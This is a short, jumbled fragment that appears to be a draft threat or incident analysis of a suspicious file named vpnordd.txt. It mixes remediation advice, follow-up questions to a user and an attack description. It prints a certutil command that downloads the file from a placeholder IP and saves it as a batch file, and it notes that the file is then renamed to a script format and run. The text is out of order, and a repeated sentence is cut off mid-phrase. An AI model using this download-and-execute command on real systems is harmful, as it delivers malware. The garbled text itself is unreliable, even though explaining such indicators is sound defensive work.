Run a full EDR/Antivirus scan to check for persistent backdoors. To help you refine this draft, tell me: The source where you found the file? Any specific code or strings found inside it? If you need a remediation plan for a specific environment?
Attacker runs a command like: certutil -urlcache -f http://[IP]/vpnordd.txt vpn.bat . Download File vpnordd.txt
The .txt is renamed to an executable format ( .bat , .ps1 , .vbs ) and launched. Indicators of Compromise (IoC) Run a full EDR/Antivirus scan to check for